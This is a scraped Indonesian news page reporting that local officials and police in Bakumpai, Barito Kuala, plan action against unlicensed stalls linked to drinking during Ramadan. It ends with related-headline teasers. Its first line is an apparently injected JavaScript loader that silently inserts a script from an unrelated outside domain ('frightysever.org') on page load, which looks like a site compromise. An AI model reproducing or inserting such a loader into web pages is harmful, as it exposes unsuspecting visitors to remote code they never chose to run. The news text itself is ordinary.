(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,MARABAHAN– Tanggapi laporan adanya aktifitas warung remang-remang yang meresahkan warga di Desa Batik, Kecamatan Bakumpai, Kabupaten Barito Kuala, Camat Bakumpai Karta Yudi mengaku sudah melakukan koordinasi dengan aparat penegak hukum setempat.
Keberadaan warung yang diduga dijadikan tempat perkumpulan ledis dan lokasi mabuk-mabukan itu diduga juga tidak memiliki izin usaha.
“Kita baru tahu tadi setelah ada warga yang melaporkan ke kita, dan sudah saya koordinasikan dengan Kapolsek Bakumpai, nanti akan kita tindak besok kita rapatkan dulu perkara keberadaan warung remang-remang yang meresahkan warga ini,” akunya.
Ditambahkan Yudi, Setelah berkoordinasi dengan Kapolsek Bakumpai, sebelumnya pemilik warung itu sudah pernah dipanggil dan diberikan teguran satu kali. Namun warung masih beroperasi hingga sekarang terlebih pada bulan ramadhan 1442 H ini.
“Itu memang tidak ada izinnya, tidak mungkin kita mengizinkan ada warung yang seperti itu, kita lihat besok nanti tindak lanjutnya sepeti apa dirapatkan nanti, kalau masih saja ya harus kita tindak saja,” tegasnya.
Dihubungi terpisah Kapolres Batola AKBP Lalu Moh Syahir Arif, melalui Kapolsek Bakumpai Iptu Zulkifli mengakui sudah melakukan pemanggilan pada Minggu lalu terhadap 2 orang pemilik tempat usaha tersebut. Mereka ditegur secara lisan untuk tidak melakukan aktivitas yang dapat mengganggu ketenangan warga desa hingga larut malam selama bulan Ramadhan.
“Sebelumnya kami sudah mendatangi dan dan cek 2 tempat itu pada Minggu yang lalu, bahkan paginya mereka datang untuk memenuhi panggilan kami, namun berdasarkan laporan warga warung di situ masih beroperasi,” katanya.
Rencana Selasa (4/5/2021) besok pihaknya akan melakukan koordinasi lebih lanjut dengan para Muspika. Camat hingga Danramil dan langsung ke TKP dan jika masih beroperasi maka akan diberikan teguran keras.
“Jika masih beroperasi nanti kita koordinasikan dengan Satpol PP juga dan tutup saja warung di situ,” ancamnya. (Kanalkalimantan.com/tim)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.